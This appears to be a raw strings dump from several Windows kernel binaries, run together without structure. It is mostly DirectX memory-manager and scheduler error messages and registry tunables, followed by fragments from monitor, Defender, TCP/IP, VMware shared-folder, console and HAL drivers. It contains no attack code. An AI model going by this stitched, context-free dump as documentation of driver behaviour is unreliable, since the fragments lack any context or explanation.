PermanentSysMem, Shareable, ExistingSysMem, ExistingKernelSysMem, ManagedPrimary orPrimary flags can't be specified with Protected. PermanentSysMem, Shareable, ExistingKernelSysMem, ManagedPrimary or Primary flags can't be specified with ExistingSysMem. PermanentSysMem, Shareable, ExistingSysMem, ManagedPrimary or Primary flags can't be specified with ExistingKernelSysMem. UseAlternateVA creation flags may only be used on primary or managed primary allocation. PermanentSysMem, Cached, ExistingSysMem, ExistingKernelSysMem and Primary flags can't be specified with ManagedPrimary. PermanentSysMem, Cached, ExistingSysMem, ExistingKernelSysMem and ManagedPrimary flags can't be specified with Primary. Section-backed shared primaries must only support aperture segment. All segment specified in supported write segment set for a shared primary must be CPU visible. PagingBuffer can't be combined with any other flags. Paging buffer can only be allocated from an aperture segment. Swizzled can't be combined with ExistingKernelSysMem, ExistingSysMem or Protected. UseAlternateVA can't be combined with LinkMirrored. UseAlternateVA can't be combined with LinkInstanced. SectionSupplied should always be Shareable resource. SectionSupplied resource does not supply the section. History buffers must specify the CpuVisible flag. History buffer specifies invalid flag combination. Flags=%d History buffer can only be allocated from an aperture segment. Couldn't allocate memory for allocation. Couldn't allocate memory for allocation fence array. Couldn't allocate memory for nonpaged VIDMM_GLOBAL_ALLOC data. Couldn't allocate displaying reference array for allocation. Overflow rounding allocation size (0x%08X) to next page boundary. Overflow rounding allocation pitch aligned size (0x%08X) to next page boundary. Overflow trying to instanciate allocation for all physical adapters, Size=0x%08X, AdapterCount=%d Can't create an allocation that uses more than 4GB-64kB of system memory. Overflow rounding allocation alignment (0x%08X) to next page boundary. Overflow adding alignment to allocation size, Size=%d, PitchAlignedSize=%d, SystemMemorySize=%d, alignment=%d Couldn't allocate GPU resources for allocation 0x%p. A primary allocation being destroyed is not invalidated and should have been invalidated. Couldn't allocate resources for allocation 0x%p, NtStatus=0x%08X. Couldn't setup CPU access to the primary allocation, Status 0x%08X. Query allocation residency failed or didn't return the expected scanned size Expected either STATUS_SUCCESS or STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE from Reset Couldn't allocate virtual address range to reset backing store. Failed to pin allocation. Couldn't allocate va range for the primary. Couldn't rotate the primary va range, status 0x%08X Couldn't allocate MDL for the primary rotation Couldn't rotate the virtual address status 0x%08X Couldn't allocate MDL for the rotation BeginCPUAccess() trying to lock an invalid allocation instance. VidMmMultiAlloc: 0x%I64X, Instance: %I64d BeginCPUAccess() trying to lock retired allocation instance. VidMmMultiAlloc: 0x%I64X, DynamicInstance: %I64d BeginCPUAccess() trying to lock an offered allocation instance. VidMmMultiAlloc: 0x%I64X, DynamicInstance: %I64d BeginCPUAcess() invalid flags specified: 0x%08X Trying to lock a non-protected allocation in the wrong process context. Trying to lock a protected allocation with a non-protected lock. Alloc=0x%p Only the owner of a shared allocation can lock it. GlobalAlloc 0x%p is already locked with a swizzling range, can't lock again without a swizzling range. GlobalAlloc 0x%p is already locked without a swizzling range, can't lock again with a swizzling range. Can't lock protected allocation surface with UseAlternateVA flags. NoSync can only be specified on allocation supported in an aperture segment. NoSync can not be specified on allocations using software cache coherency Can't discard a pinned allocation, ignoring discard flags. Can't discard the content of a primary allocation, ignoring discard flags. Couldn't flush pending GPU access. Trying to end CPU access with invalid flags. Dma buffer trying to reference unknown allocation instance Handle: 0x%I64x Index: %I64d (MultiAlloc: 0x%08p, Instance: %d) Dma buffer trying to reference an allocation instance that has been recently retired. Handle: 0x%I64x Index: %I64d (MultiAlloc: 0x%08p, Instance: %d) Failed to offer retired allocation Index: %I64d, Alloc: 0x%p RetiredAlloc: 0x%p. Driver must reference only a single, writeable history buffer. GlobalAlloc:%I64X, CurrentHistoryBuffer:%I64X, Writeable:%d DMA buffer references an allocation that is under lock and is locked with alternate VA. DmaBuffer=0x%p, Alloc=0x%p, LockCount=%d. DMA buffer 0x%p references an allocation 0x%p that is offered. Exception occurred accessing user mode allocation list, returning Status=0x%I64x Referencing an non-primary allocation, rejecting it. GlobalAlloc=0x%I64X. VidMmDevice 0x%I64x Trying to reference a primaryallocation 0x%I64x belonging to VidMmDevice 0x%I64x Couldn't allocate memory for the slot table. Attempting to restore segment contents, but segments are already restored Unknown system command skipped. Couldn't page-in shared allocation evicted to owner's alternate VA, losing content of shared allocation 0x%p Failed to probe an allocation, GlobalAllocation=0x%p, Size=%d Failed to probe an allocation, GlobalAllocation=0x%p, Size=%d Failed to acquire swizzling range for shared primary, can't create. Failed to allocate resources needed to pin allocation. Unknown deferred command skipped. Trying to open allocation on non graphics process. Trying to open a non-shareable allocation more than once. Couldn't allocate memory for local alloc object. Unable to insert section object 0x%I64p into handle table, Status = 0x%I64p Unable to open section object 0x%I64p into handle table, Status = 0x%I64p Failed to map a view of the shared allocation (0x%p) section inside process 0x%p, NtStatus=0x%08X Failed to probe an allocation, GlobalAllocation=0x%p, Size=%d Existing sysmem pointer must be paged aligned and a multiple of page in size. Exception occurred trying to use existing sysmem for allocation backing store. Trying to create an ExistingKernelSysMem allocation with a user mode address. Couldn't backing store for this allocation. Invalid allocation usage (0x%p). Unswizzled allocation being paged-in under locked. Device will be lost. Failed to evict allocation from memory segment. Couldn't evict allocation 0x%I64x during preparation, discarding allocation content. Unexpected underflow in FillAllocation Couldn't allocate segment resource for allocation. Couldn't evict reclaimed allocation. Driver can only update RangeSize & CPUTranslatedAddress if the UseAlternateVA flags is specified. Failed to evict allocation 0x%I64x, Status = 0x%I64X Couldn't evict shared allocation 0x%I64x before closing current instance, shared allocation content is lost. Couldn't allocate memory for multi-alloc instance table, failing to rename MultiAlloc 0x%p. Exception occured while trying to flush allocation from processor cache. Couldn't evict allocation 0x%I64x to handle purge request, allocation content is discarded. Application should no longer use the SETFAULT command. Instead, use the new process/adapter verifier config Couldn't allocate alternate virtual address range for CPU access. Couldn't rotate the virtual address, status 0x%08X Invalid VidPnSourceId (0x%I64x) specified, returning 0x%I64x VidSchDevice (0x%I64x) device on VidPnSourceId 0x%I64x attempted to unpin resource in the flip queue without first presenting a new resource, returing 0x%I64x WaitOnAllocationDmaReferences() trying to access an invalid allocation. VidMmMultiAlloc: 0x%I64X Failed to allocate VIDMM_GLOBAL_ALLOC_CROSSADAPTER_DATA bAllowAcquireRecursive || pPushLock == NULL || !m_pPushLock->IsExclusiveOwner() m_OwnerAcquireCount > 0 NULL == m_OwningThread NULL == ReadPointerNoFence(&m_OwningThread) 0 == m_OwnerAcquireCount Failed to map the allocation view to the user space. GlobalAlloc: 0x%I64x Fault Injection to fail creation of Allocation VA mapping. Failed to map the allocation view to the user space. UserModeOnly: 0x%I64x This adapter can't see all of available physical memory. Falling back to default driver. Failed to determine number of segments via DXGKQAITYPE_QUERYSEGMENT. NtStatus=0x%08X Too many segments specified. Maximum allowed is 32. Failed to allocate memory for segment description 3. NbSegment=%d Failed to allocate memory for segment description. NbSegment=%d Failed to get segment description: NtStatus=0x%08X Couldn't allocate VIDMM_GLOBAL object. Couldn't initialize segment: NtStatus=0x%08X Couldn't allocate buffer to query system memory size PinnedMemoryLimit PinnedApertureMemoryLimit PagesHistory IgnoreBankInformation IdleGPUOnApertureManipulation MemTransferThreshold ExcessiveMemTransferFlipThreshold ExcessiveMemTransferPenalty EventThrottleThreshold DisablePrefetching NbDmaBufferLimitPerDevice NbCddDmaBufferLimitPerDevice DmaBufferBytesLimitAllDevices DmaBufferListBytesLimitAllDevices NbDmaBufferLimitCompareWatermark NbPagingHistoryRecords PinDWMAllocationBackingStore RemovePagesFromWorkingSetOnPagingForDwm UseUnreset PrivateHeapPackingThreshold PrivateHeapPackingBlockSize EvictTemporaryPeriod EvictUnusedPeriod EvictUnusedThreshold ProcessPendingOfferPeriod ProcessSysmemOfferPeriod SegmentBalancingPolicy BugcheckOnApertureCorruption QuickApertureCorruptionCheck DirectFlipMemoryRequirement CommitProcessHeapOnDemand SegmentCleanupSizeThreshold SegmentCleanupCountThreshold SegmentCleanupTime GraphicsDrivers\MemoryManager MaxSegmentSize SystemMemoryCommitLimit PinnedBackingStoreLimit MinimumSystemMemoryCommitLimit SmallSystemMemorySize WorkingSet.DefaultMaximumPercentile WorkingSet.DefaultMinimumPercentile UnusedTrimmingPeriod Unused.MinimumThreshold Unused.LowThreshold Unused.NormalThreshold Unused.HighThreshold Unused.MaximumThreshold Unused.SelfTrimMinimumThreshold Unused.SelfTrimLowThreshold Unused.SelfTrimNormalThreshold Unused.SelfTrimHighThreshold Unused.SelfTrimMaximumThreshold Unused.EvictApertureOfferLowThreshold Unused.EvictApertureOfferNormalThreshold Unused.EvictApertureOfferHighThreshold Unused.EvictApertureOfferMaximumThreshold PreparationPeriod Period.MinimumPolicyHeldPeriod Period.MaximumPolicyHeldPeriod Period.AlwaysForceMemReset Period.EvictionThresholdForMemReset Period.NbOfAllocationsThresholdToMRU Period.RenamingListTrimmingFrequency Migration.Period Migration.TableSize Migration.MaxBytesMigrated Migration.DisabledPeriodAfterFailure Migration.DisabledPeriodAfterMemoryPressure Migration.DisabledPeriodAfterTrashing Couldn't allocate memory for commitment info. Trying to open device on a non DX process. Adapter couldn't be opened for the current process. Couldn't allocate memory for device commitment information. Couldn't allocate memory for the DMA pool AddRemove lock. Couldn't initialize the DMA pool AddRemove lock. DMA buffer can only be allocated from an aperture segment. Reach the maximum size for the DMA pools. Can't create regular DMA buffer with no associated allocation list Couldn't allocate memory for DMA buffer object. Couldn't allocate memory for DMA buffer fence array. Couldn't create a global allocation for DMA the buffer. Couldn't open the global allocation for the DMA buffer. Couldn't allocate a contiguous buffer for the DMA buffer. Couldn't allocate memory for the DMA buffer allocation table. Couldn't allocate memory for the DMA buffer patch location list. Couldn't allocate the private data for the DMA buffer. Couldn't allocate the paging buffer global allocation table. Couldn't reserve previously reserved AGP range, ntStatus 0x%08X Couldn't reserve at least 4MB for an AGP segment, ntStatus=0x%08X Couldn't allocate memory for aperture scratch page. Couldn't allocate a range in the aperture segment for the scratch area, ntStatus=0x%08X. AGP Aperture guard page corruption detected for segment 0x%p Couldn't allocate memory for aperture guard page. Couldn't map aperture guard page. Failed to get system address for history buffer. GlobalAlloc=%I64X Encountered a fault trying to copy the user VA into the guaranteed forward progress VA. Injecting failure preventing allocation to be locked down. Failed to probe and lock allocation range, GlobalAllocation=0x%p, Offset=%d, Size=%d Encountered a fault trying to copy to the user VA from the guaranteed forward progress VA. Aperture guard page corruption found between 0x%p and 0x%p for segment 0x%p Aperture guard page corruption found at 0x%p for segment 0x%p Driver dedicated too much system memory for video, system policy violated. Exeption occured while accessing allocation user mode page. Failed to reset allocations early enough. Failed to probe and lock the allocation's system memory. Exception occurred while accessing allocation (user mode page). Driver WDDM version is less than 1.2, but reported a segment with WDDM 1.2 features. Couldn't allocate memory for the memory segment pool manager. Failed to initialize the pool manager for this segment, NtStatus=0x%08X. Couldn't allocate memory for aperture dummy rotation target page. Couldn't map the segment's forward progress Mdl in syspte region. Couldn't allocate pages for segment's forward progress Mdl. Couldn't allocate VIDMM_MDL for segment's forward progress Mdl. If banking is used, at least 2 bank must be enumerated. Bank range table index %d is invalid, not increasing. Bank range table index % is invalid, larger than the segment. Couldn't allocate memory for segment bank range table. Couldn't allocate memory for segment pages history buffer Underflow encountered. Unknown eviction policy. Failed to probe an allocation, GlobalAllocation=0x%p, Size=%d Range being made non-pageable is already non-pageable. Failed to allocate memory for MDL descriptio. Failed to map a view of allocation Failed to allocate memory for Mdl. Couldn't probe and lock memory for transfer. PFN index in MDL is out of range for GPU (Pfn[%I64d]=%I64d) Failed to allocate memory for MDL description. Couldn't allocate physical memory for the MDL. Couldn't allocate sufficient physical memory for the MDL. Couldn't allocate memory for VIDMM_PROCESS_HEAP_ALLOC structure. Couldn't allocate a backing section for a large allocation Couldn't commit virtual memory Couldn't secure the virtual memory range for the allocation. Failed to commit reserved virtual address range from block. Couldn't allocate virtual memory range for the block. Status 0x%08X. Couldn't allocate memory for VIDMM_PROCESS_HEAP_BLOCK() structure. Failed creation of Allocation VA mapping. Aperture segment %d failed coherency check. Trying to decrement beyond 0. Overflow incrementing counter. Failed to allocate GpuWorkRecords for long haul logging Context queue is inconsistant Driver reports out of range layer count: pVidSchGlobal = 0x%I64x, VidPnTargetId = 0x%I64x, Reported Layers = 0x%I64x Hardware queue is inconsistant Invalid history buffer private data size. PrivateDataSize=%d Attempting to read memory outside the bounds of the history buffer. TimestampsStart=%I64X, TimestampsEnd=%I64X, BytesAccessed=%d Call to formatting DDI failed. Status=%d Driver returned invalid precision in formatting DDI. Precision=%d Driver reporting more timestamps than will fit in formatting buffer. NumTimestamps=%d, Precision=%d, BufferSize=%d Context running queue is inconsistant PHT Submission trying to wait fence without signal having been submitted. Failed to allocate VIDSCH_SYNCOBJ_PHT_DATA HwQueuedRenderPacketGroupLimitPerNode AutoSyncToCPUPriority QuantumUnit PreemptionQuantumUnit EnablePreemption HwQueuedRenderPacketGroupLimit QueuedPresentLimit InitDriverFenceId CarryOverUsedQuantum EnableFlipOnVSyncHwFlipQueue EnableFlipOnVSyncSwFlipQueue EnableFlipImmediateSwFlipQueue AdjustWorkerThreadPriority CountFlipTowardHwLimit AllowUserModeToSetFlipLimit NumberOfDmaPacketPool ProfileLevel VSyncIdleTimeout EnableDirectSubmission CountPresentTowardHwLimit EnableContextDelay ForcePreemptionAware LogDriverVSyncCallback MaximumAllowedPreemptionDelay ContextSchedulingPenaltyDelay BackgroundProcessMaximumAllowedPreemptionDelay ForceIndependentFlip Driver failed SetVidPnSourceAddress - cannot flip to DirectFlip resource Driver failed SetVidPnSourceAddress for unknown reason Synchronization object already has LONG_MAX reference pending, can't reference more. Trying to acquire mutex without corresponding signal having been submitted. Trying to acquire semaphore without corresponding signal having been submitted. Trying to wait the fence without signal having been submitted. Trying to wait on CpuNotification. Failed to enable scanning from primary on source 0x%I64x of adapter 0x%I64x (status = 0x%I64x) m_PresentHistoryHead < D3DKMT_GETPRESENTHISTORY_MAXTOKENS m_PresentHistoryHead != m_PresentHistoryTail NULL pointer in pDxgAdapter, returning NULL. Creating node failed Creating system device failed Creating system worker thread failed NULL pointer in pVidSchGlobal, returning 0x%I64x Multiply overflow in node structure size. returning NULL NULL pointer in pVidSchProcess, returning 0x%I64x NULL pointer in pVidSchProcess or piPriorityClass, returning 0x%I64x NULL pointer in pDxgDevice or pVidSchDeviceData, returning NULL NULL pointer in pVidSchDevice or pVidSchContextData, returning NULL NULL pointer in pVidSchContext or pVidSchFlushData, returning 0x%I64x NULL pointer in pVidSchContext or piPriorityOffset, returning 0x%I64x Invalid VidPnSourceId (Check 3) NULL pointer in pVidSchSyncObj, pVidSchDevice or pVidSchSubmitCommandData, returning 0x%I64x IFlip not supported in contextless present on WDDM1.x adapters, returning 0x%I64x NULL pointer in pVidSchGlobal or pFlipQueueInfo, returning 0x%I64x Can't initialize semaphore to larger value than specified maximum CPUNotification.Event is not sharable, returning 0x%I64x NULL pointer in pVidSchSyncObject, returning 0x%I64x NULL VIDSCH_CONTEXT pointer, returning 0x%I64x Synchronization object already has ULONG_MAX reference pending, can't reference more. NULL VIDSCH_SYNC_OBJECT pointer, returning FALSE SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription DirectX Graphics MMS FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName dxgmms1.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename dxgmms1.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation \brightness \color BrightnessControl color brightness MonitorWMI \DosDevices\LCD PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \PowerMonitorPort KmdfLibrary TELASSERT SummaryCount NumAllocationFailures NumLargeEventFailures MinEntriesFlushed NumBucketLimitReached TotalEntriesFlushed MaxEntriesFlushed NumFlushes MaxEntriesStored \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\monitor KmdfLibrary D:P(A;;GA;;;SY)(A;;GA;;;BA) NtQuerySystemInformation PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister MpKslDrv NULL ImagePath Version \Parameters \Enum \Security \Device\ \DosDevices\ AllowedProcessName DeviceName MmCopyMemory \device\physicalmemory RtlQueryRegistryValuesEx ExistingPageFiles PagingFiles \Session Manager\Memory Management \DosDevices\ \??\ HalGetBusDataByOffset ExAllocatePool2 PsSetCreateProcessNotifyRoutineEx PsSetCreateThreadNotifyRoutine PsRemoveCreateThreadNotifyRoutine PsSetCreateThreadNotifyRoutineEx PsSetLoadImageNotifyRoutine PsRemoveLoadImageNotifyRoutine AllocateMemory FreeMemory MmGetSystemAddressForMdlSafe ExInitializeFastMutex SecureCopyMemory RtlSecureZeroMemory OsKeQueryTickCount KeAddTriageDumpDataBlock KeInitializeTriageDumpDataArray KeRegisterBugCheckReasonCallback KeDeregisterBugCheckReasonCallback \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KslD MaxUserPort IPAutoconfigurationSubnet IPAutoconfigurationMask %s,%s,%s,%u \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces Tcp1323Opts \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters %ls\%ls PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister DefaultTTL DisableIPSourceRouting ArpRetryCount IGMPLevel IGMPVersion EnableICMPRedirect EnableAddrMaskReply DisableTaskOffload EnableBcastArpReply DisableDHCPMediaSense DisableMediaSenseEventLog EnableMulticastForwarding EnablePMTUDiscovery TcpUseRFC1122UrgentPointer TcpMaxDataRetransmissions KeepAliveTime KeepAliveInterval TcpTimedWaitDelay TcpFinWait2Delay EnablePMTUBHDetect IPAutoconfigurationEnabled IPEnableRouter ArpUseEtherSNAP OverrideDefaultAddressSelection EnableIPAutoConfigurationLimits IPAddress SubnetMask IPAutoconfigurationAddress PerformRouterDiscovery DefaultGateway DefaultGatewayMetric SolicitationAddressBcast UseZeroBroadcast TypeOfInterface InterfaceMetric TcpAckFrequency TcpDelAckTicks \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Persistentroutes 0.0.0.0 \DosDevices\F70CD4CC-76B0-48DE-817F-4E22CCABCC17 \Device\F70CD4CC-76B0-48DE-817F-4E22CCABCC17 D:P(A;;GA;;;S-1-5-80-2776957860-1097445026-538298369-1343338959-476919943) NsrSubLayer nsr sublayer Nsr ALE Flow Established V4 Callout NsAleFlowEstablishedV4 Nsr ALE Flow Established V6 Callout NsAleFlowEstablishedV6 Nsr Stream V4 Callout NsStreamV4 Nsr Stream V6 Callout NsStreamV6 AleV4 AleV6 StreamV4 StreamV6 Filter used to capture Stream traffic STREAM_FILTER Filter used to capture TCP traffic TCP_FILTER \DosDevices\DD9ADAAA-2585-41C5-9847-28A19BA9F344 \Device\DD9ADAAA-2585-41C5-9847-28A19BA9F344 D:P(A;;GA;;;S-1-5-18)(A;;GA;;;S-1-5-11) )KmdfLibrary SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes TELASSERT \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wtd Shared Folders NtQuerySystemInformation FsRtlTeardownPerStreamContexts FsRtlRegisterUncProviderEx FsRtlDeregisterUncProvider ExFreePoolWithTag IoUnregisterFileSystem IoInitializeWorkItem IoUninitializeWorkItem IoSizeofWorkItem KeAreApcsDisabled MmDoesFileHaveUserWritableReferences KeQueryActiveProcessorCount IoReplaceFileObjectName CcGetFileObjectFromSectionPtrsRef IPC$ PIPE vmware-host \Callback\VMCIDetachCB \DosDevices\VMCIDev \PIPE \MAILSLOT \IPC$ \NETDFS \WKSSVC \Device\hgfsInternal \DosDevices\vmhgfs vmware-host Shared Folders THGFS >>>>>>>>.>>> 0123456789ABCDEF \Connect \KernelConnect \Reference \Input \Output \Server \Console \CurrentIn \CurrentOut \ScreenBuffer \Broker \Display \Device\ConDrv \SystemRoot\System32\Conhost.exe -ForceV1 %wZ 0x%x%s OneSettingPowerButtonBugcheck OneSettingPowerButtonLiveDump PowerButtonBugcheck PowerButtonLiveDump SAM_ Security \FileSystem\FltMgr \FileSystem\Msfs \FileSystem\Npfs :./_@ (){} NO_ACCESS_CONTROL %ws%wc%ws (%ls %ls %ls) @TOKEN. %ws%wc @DEVICE. @RESOURCE. @USER. Exists Not_Exists Contains Not_Contains Any_of Not_Any_of Member_of Not_Member_of Device_Member_of Not_Device_Member_of Member_of_any Not_Member_of_any Device_Member_of_any Not_Device_Member_of_any \\?\ \Dev\Query \Dev\NoState \CMApi \SwDevice \CMNotify \Device\NamedPipe System Secure System File Local Global RPC Control Session AppContainerNamedObjects HashDigestLength Active Configurations Locked \REGISTRY\MACHINE REGISTRY Nodes DriverPackages DriverInfFiles DriverFiles DeviceIds \REGISTRY\COMROOT\CLASSES \REGISTRY\MACHINE\SOFTWARE \REGISTRY\MACHINE\SYSTEM\CONTROLSET001 \SystemRoot\AppPatch\drvmain.sdb SWD\ \??\Volume DRIVERENUM TargetNtPath State UniqueState Parameters SWD\Generic SWD\GenericRaw Properties SystemPowerPolicy %%%%%u \SystemRoot\System32\ \SystemRoot\SystemApps\ APPID:// isolatedWin32- \KernelObjects\LowPagedPoolCondition \KernelObjects\HighPagedPoolCondition \KernelObjects\LowNonPagedPoolCondition \KernelObjects\HighNonPagedPoolCondition \KernelObjects\LowMemoryCondition \KernelObjects\HighMemoryCondition \KernelObjects\LowCommitCondition \KernelObjects\HighCommitCondition \KernelObjects\MaximumCommitCondition \KernelObjects\MemoryErrors \KernelObjects\PhysicalMemoryChange \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock AppxPolicies \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows\Appx AppModelUnlock AllowDevelopmentWithoutDevLicense TotalResumeTime POSTTime ResumeBootMgrTime ResumeAppTime ResumeAppStartTimestamp ResumeLibraryInitTime ResumeInitTime ResumeHiberFileTime ResumeRestoreImageStartTimestamp ResumeIoTime ResumeDecompressTime ResumeMapTime ResumeUnmapTime ResumeUserInOutTime ResumeAllocateTime ResumeKernelSwitchTimestamp KernelReturnFromHandlerTimestamp SleeperThreadEndTimestamp TimeStampCounterAtSwitchTime KernelReturnSystemPowerState HiberHiberFileTime HiberInitTime HiberSharedBufferTime TotalHibernateTime KernelResumeHiberFileTime KernelResumeInitTime KernelResumeSharedBufferTime DeviceResumeTime KernelAnimationTime KernelPagesProcessed KernelPagesWritten BootPagesProcessed BootPagesWritten HiberWriteRate HiberCompressRate ResumeReadRate ResumeDecompressRate FileRuns NoMultiStageResumeReason MaxHuffRatio SecurePagesProcessed HiberChecksumTime HiberChecksumIoTime ResumeChecksumTime ResumeChecksumIoTime KernelChecksumTime KernelChecksumIoTime WinresumeExitTimestamp TcbLoaderStartTimestamp TcbLoaderEndTimestamp RemappedPageLookupCycles TcbLaunchPrepareCycles TcbLaunchPrepareDataCycles DecryptVsmPagesPhase0Cycles DecryptVsmPagesPhase1Cycles DecryptVsmPagesPhase2Cycles TcbLoaderAuthenticateCycles TcbLoaderDecryptCycles TcbLoaderValidateCycles \\?\ \??\ Security-System-Capability- Directory Service Object \SystemRoot\AppPatch\drvpatch.sdb EnableBXWorkAround Control\HAL \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET Services\ACPI\Parameters \Registry\Machine\Software\Policies\Microsoft\Windows\System 0@P`p "$&(*,.02468:<>@ Control\Session Manager\Power Control\Session Manager PowerSimulateHiberBugcheck PowerPolicySimulate af-ZA am-ET ar-AE ar-BH ar-DZ ar-EG ar-IQ ar-JO ar-KW ar-LB ar-LY ar-MA ar-OM ar-QA ar-SA ar-SY ar-TN ar-YE arn-CL as-IN az-Cyrl az-Cyrl-AZ az-Latn az-Latn-AZ ba-RU be-BY bg-BG bin-NG bn-BD bn-IN bo-CN br-FR bs-Cyrl bs-Cyrl-BA bs-Latn bs-Latn-BA ca-ES ca-ES-valencia chr-Cher chr-Cher-US co-FR cs-CZ cy-GB da-DK de-AT de-CH de-DE de-LI de-LU dsb-DE dv-MV dz-BT el-GR en-029 en-AE en-AU en-BZ en-CA en-GB en-HK en-ID en-IE en-IN en-JM en-MY en-NZ en-PH en-SG en-TT en-US en-ZA en-ZW es-419 es-AR es-BO es-CL es-CO es-CR es-CU es-DO es-EC es-ES es-ES_tradnl es-GT es-HN es-MX es-NI es-PA es-PE es-PR es-PY es-SV es-US es-UY es-VE et-EE eu-ES fa-AF fa-IR ff-Latn ff-Latn-NG ff-Latn-SN fi-FI fil-PH fo-FO fr-029 fr-BE fr-CA fr-CD fr-CH fr-CI fr-CM fr-FR fr-HT fr-LU fr-MA fr-MC fr-ML fr-RE fr-SN fy-NL ga-IE gd-GB gl-ES gn-PY gsw-FR gu-IN ha-Latn ha-Latn-NG haw-US he-IL hi-IN hr-BA hr-HR hsb-DE hu-HU hy-AM ibb-NG id-ID ig-NG ii-CN is-IS it-CH it-IT iu-Cans iu-Cans-CA iu-Latn iu-Latn-CA ja-JP ka-GE kk-KZ kl-GL km-KH kn-IN ko-KR kok-IN kr-Latn-NG ks-Arab ks-Deva-IN ku-Arab ku-Arab-IQ ky-KG la-VA lb-LU lo-LA lt-LT lv-LV mi-NZ mk-MK ml-IN mn-Cyrl mn-MN mn-Mong mn-Mong-CN mn-Mong-MN mni-IN moh-CA mr-IN ms-BN ms-MY mt-MT my-MM nb-NO ne-IN ne-NP nl-BE nl-NL nn-NO nso-ZA oc-FR om-ET or-IN pa-Arab pa-Arab-PK pa-IN pap-029 pl-PL ps-AF pt-BR pt-PT qps-Latn-x-sh qps-ploc qps-ploca qps-plocm quc-Latn quc-Latn-GT quz-BO quz-EC quz-PE rm-CH ro-MD ro-RO ru-MD ru-RU rw-RW sa-IN sah-RU sd-Arab sd-Arab-PK sd-Deva-IN se-FI se-NO se-SE si-LK sk-SK sl-SI sma-NO sma-SE smj-NO smj-SE smn-FI sms-FI so-SO sq-AL sr-Cyrl sr-Cyrl-BA sr-Cyrl-CS sr-Cyrl-ME sr-Cyrl-RS sr-Latn sr-Latn-BA sr-Latn-CS sr-Latn-ME sr-Latn-RS st-ZA sv-FI sv-SE sw-KE syr-SY ta-IN ta-LK te-IN tg-Cyrl tg-Cyrl-TJ th-TH ti-ER ti-ET tk-TM tn-BW tn-ZA tr-TR ts-ZA tt-RU tzm-Arab-MA tzm-Latn tzm-Latn-DZ tzm-Tfng tzm-Tfng-MA ug-CN uk-UA ur-IN ur-PK uz-Cyrl uz-Cyrl-UZ uz-Latn uz-Latn-UZ ve-ZA vi-VN wo-SN xh-ZA yi-001 yo-NG zh-CN zh-Hans zh-Hant zh-HK zh-MO zh-SG zh-TW zu-ZA {%08lx-%04hx-%04hx-%02hx%02hx-%02hx%02hx%02hx%02hx%02hx%02hx} Previous Update Revision Patch Source Update Environment Update Revision Patch Configuration Used CPU Meta Data Preferred Record Version Current Record Version Previous Record Version CPU Family Model Stepping Update Status Firmware Record Version Platform Specific Field 1 Record Type \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\Power ((((( H h(((( H H Acpi Errata ExtEnv Firmware HalExt HwPerfCnt Interrupt Iommu Misc Power Proc Timer Topology Whea ACPI x64 platform \Registry\Machine\System\CurrentControlSet\Services\ACPI\Parameters EMcaL1DirectoryBase Kernel-RegisteredProcessors \Registry\MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management DynamicMemory RtlQueryRegistryValuesEx CMCThresholdCount CMCThresholdSeconds CMCPollingLimit Session Manager ArbiterQuantumInMs HAL\PMU \Driver\ACPI_HAL \REGISTRY\MACHINE\HARDWARE\UEFI ACPI_HAL\PNP0C08 *PNP0C08 ACPI_HAL\UEFI acpiapic ACPI_HAL\PRM INST_%04x& VEN_%.4hs&DEV_%04x&SUBVEN_%.4hs&SUBDEV_%04x&REV_%04x&%lsUID_%08x VEN_%.4hs&DEV_%04x&SUBDEV_%04x&REV_%04x&%lsUID_%08x Unknown Resource XMinimumMapRegisterCount EnableMockCvm HAL\CVM EnableLog DmaAdapter SecondaryGsivBase \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\Control\HAL SecondaryGsivSize SecondaryInterrupts ParallelLoad Revision RollbackRequest McUpdate \Registry\Machine\SYSTEM\CurrentControlSet\Control\MCUpdate\PatchConfig \Callback\PowerState CStateHacks Piix4Slot Piix4DevActB Piix4 440BX CacheMisses BranchMispredictions TotalIssues BranchInstructions InstructionRetired UnhaltedReferenceCycles TotalCycles UnhaltedCoreCycles BranchInstructionRetired BranchMispredictsRetired LLCReference LLCMisses UnhaltedCoreCyclesFixed UnhaltedReferenceCyclesFixed LbrInserts InstructionsRetiredFixed TimerFixed VEN_vvvv&DEV_dddd&SUBVEN_ssss&SUBDEV_yyyy&REV_rrrr&INST_iiii&UID_uuuuuuuu \Callback\SoftRestart \DosDevices\ACPI_ROOT_OBJECT SystemSleepCheckpoint DcacheMisses IcacheMisses ICFetch ICMiss IcacheIssues DcacheAccesses FRRetiredBranchesMispredicted DCAccess FRRetiredx86Instructions FRRetiredBranches BugCheckProgress BugCheckCode BugCheckParameter1 \Registry\Machine\System\CurrentControlSet\Control\FileSystem \Registry\Machine\Software\Policies\Microsoft\Windows\FileSystems\NTFS BIOSVersion BaseBoardManufacturer BaseBoardProduct BIOSReleaseDate SystemVersion SystemManufacturer SystemFamily SystemProductName SystemSKU BIOSVendor SharedState UniqueSharedState \Registry\Machine\System\CurrentControlSet\ServiceState WatchdogSecondChanceInMs 